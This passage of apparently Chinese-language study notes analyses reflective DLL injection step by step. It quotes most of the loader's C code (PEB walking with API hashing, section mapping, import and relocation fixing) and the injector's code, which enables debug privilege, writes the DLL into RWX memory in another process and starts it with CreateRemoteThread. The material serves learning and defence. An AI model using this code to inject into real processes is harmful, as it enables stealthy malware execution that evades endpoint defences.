              if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
              {
                  uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
                  if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
                  {
                      uiHeaderValue += uiLibraryAddress;
                      // 同样的道理,判断 uiHeaderValue 的 Signature 是否指向 PE 
                      if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                          break;
                  }
              }
              uiLibraryAddress--;
          }
      
    • Step 1: 导出 loader 需要的 dll 句柄和函数地址
      首先是 dll 句柄,通过遍历 PEB 结构体中的 pLdr 中的 InMemoryOrderModuleList 链表获取 dll 名称,计算 hash 并进行对比
      uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
      uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
      
      while( uiValueA )
      {
              // 获得一个指向当前句柄的指针
              uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
              usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
              // 存储计算的 hash
              uiValueC = 0;
              // 计算 hash
              do
              {
                  uiValueC = ror( (DWORD)uiValueC );
      
                  if( *((BYTE *)uiValueB) >= 'a' )
                      uiValueC += *((BYTE *)uiValueB) - 0x20;
                  else
                      uiValueC += *((BYTE *)uiValueB);
                  uiValueB++;
              } while( --usCounter );
          // 和标准库中的函数 hash 进行比较
          if( (DWORD)uiValueC == KERNEL32DLL_HASH )
          {
              ...
          }
          else if( (DWORD)uiValueC == NTDLLDLL_HASH )
          {
              ...
          }
          uiValueA = DEREF( uiValueA );
      }
      
    • Step2 : 把 dll 映射到新开辟的内存
      在 Nt optional header 结构体中的 SizeOfImage 变量存储着 PE 文件在内存中解析后所占的内存大小,可以根据这个分配一块新的内存,然后按照 section headers 中的文件相对偏移和相对虚拟地址,将这个 PE 节一一映射到新开辟的内存中。
      // 根据 SizeOfImage 分配新内存
      uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
          uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      
          uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
          uiValueB = uiLibraryAddress;
          uiValueC = uiBaseAddress;
          // 将所有的头和节表逐字节复制到新内存
          while( uiValueA-- )
              *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
      
    • Step 3: 加载这些节
       // 解析每一个节表项
          uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
          uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
          while( uiValueE-- )
          {
              // uiValueB is the VA for this section
              uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
      
              // uiValueC if the VA for this sections data
              uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
      
              // 将每一节的内容复制到新内存对应的位置
              uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
      
              while( uiValueD-- )
                  *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
      
              // get the VA of the next section
              uiValueA += sizeof( IMAGE_SECTION_HEADER );
          }
      
    • Step 4:加载导入表
      因为被注入的 dll 还可能依赖于其他的 dll,所以还需要装载这些被依赖的 dll,并修改当前 dll 的导入表,是这些被导入的函数能正常运行。
      PE 文件的导入表是一个元素为 IMAGE_IMPORT_DESCRIPTOR 的数组,每一个被依赖的 dll 都对应着数组中的一个元素。
      image-20220406212739617
      首先根据导入表结构,找到导入函数所在的 dll 名称,然后使用 Loadlibrary() 函数载入 dll,根据函数的序号或名称,载入到 dll 导出表中,通过 hash 对比,把要用到的函数地址写入新内存的 IAT 表中。
       uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
          
          // uiValueC 是第一个导入函数
          uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
          
          while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
          {
              // 使用 LoadLibraryA 函数加载对应的 dll
              uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
      
              uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
              // IAT 表
              uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
      
              while( DEREF(uiValueA) )
              {
                  // 如果是根据函数编号导入的
                  if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
                  {
                      uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
      
                      uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
      
                      uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
      
                      uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
      
                      uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
      
                      // 将对应的导入函数地址写入 IAT 表
                      DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
                  }
                  else    // 如果导入函数通过名称导入
                  {
                      uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
      
                      DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
                  }
                  uiValueA += sizeof( ULONG_PTR );
                  if( uiValueD )
                      uiValueD += sizeof( ULONG_PTR );
              }
      
              // 获得下一个导入函数的地址
              uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
          }
      
    • Step 5:加载重定向表
      被注入的 DLL 中只有 ReflectiveLoader 中的代码故意写成与地址无关的,其他部分的代码都需要重定向才能运行。重定向表是为了解决程序指定的 imagebase 被占用的情况下,程序使用绝对地址访问错误的情况。比如当引用全局变量的时候会用到绝对地址,这时候需要去修正对应内存的汇编指令。
      PE 中的 DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] 头指向了重定向表:
      typedef struct _IMAGE_BASE_RELOCATION {
          DWORD   VirtualAddress;
          DWORD   SizeOfBlock;
      //  WORD    TypeOffset[1];
      } IMAGE_BASE_RELOCATION;
      typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
      

      image-20220406212313693
      其中,Typeoffset 的高 4 位代表重定位类型(一般为 3),低 12 表示重定向地址,这个地址和 IMAGE_BASE_RELOCATION 中的 VirtualAddress 加起来则指向一个需要重定位的指令。
      具体重定向的过程中,首先计算得到的基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址。最后将 VirtualAddress 和 Typeoffset 组册灰姑娘的地址所指向的双字加上这个偏移量,就完成了重定位。
      *(DWORD*)(VirtualAddress + Typeoffset的低12位) += (实际DLL加载地址 – 推荐DLL加载地址)
      

      实现:
      uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
      uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
      // 如果重定向表的值不为 0,则修正重定向节
      if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
      {
          uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
          uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
          while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
          {
              uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
              uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
              uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
              // 根据不同的标识,修正每一项对应地址的值
              while( uiValueB-- )
              {
                  if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                      *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                  else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                      *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
                  else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                      *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                  else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                      *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
                  uiValueD += sizeof( IMAGE_RELOC );
              }
              uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
              uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
          }
      }
      
    • Step 6:调用 dll 入口点
      调用 NtFlushInstructionCache 清除指令缓存,最后 ReflectiveLoader 将控制权转交给 DLL 文件的入口点(通过 AddressOfEntryPoint 确认) 。
       uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
      
          pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
      
      #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
          ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
      #else
          ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
      #endif
      
          return uiValueA;
      

    动态调试:

    (windbg 用不熟,之后再补)
    注入过程:

    前面都是分析的 ReflectiveLoader 的实现流程,下面看一下 Inject 的具体实现。相关代码在 Inject.c 中
    首先解析传入参数,调用 CreateFileA 加载 reflective_dll 得到 dll 句柄
         hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
            if( hFile == INVALID_HANDLE_VALUE )
                BREAK_WITH_ERROR( "Failed to open the DLL file" );
    

    然后获得 reflective_dll 文件的大小,并为其分配一块内存
         dwLength = GetFileSize( hFile, NULL );
            if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
                BREAK_WITH_ERROR( "Failed to get the DLL file size" );
    
            lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
            if( !lpBuffer )
                BREAK_WITH_ERROR( "Failed to get the DLL file size" );
    

    之后将 reflective_dll 读入进程内存空间
         if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
                BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
    

    然后提权
         if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
            {
                priv.PrivilegeCount           = 1;
                priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            
                if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                    AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
    
                CloseHandle( hToken );
            }
    

    之后就是注入的过程,打开目标进程并用 LoadRemoteLibraryR 实现 dll 注入
         hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
            if( !hProcess )
                BREAK_WITH_ERROR( "Failed to open the target process" );
    
            hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
            if( !hModule )
                BREAK_WITH_ERROR( "Failed to inject the DLL" );
    
            printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
    

    跟进实现的具体实现 LoadRemoteLibraryR,首先获得 ReflectiveLoader 的偏移
             dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
                if( !dwReflectiveLoaderOffset )
                    break;
    

    然后再被注入进程中分配一段 rwx 的内存,把 dll 的映像写入进程
             lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
                if( !lpRemoteLibraryBuffer )
                    break;
                if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
                    break;
    

    截止就可以用 CreateRemoteThread 创建远程线程并执行 ReflectiveLoader
             lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
    
                hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
    
  • 参考文献


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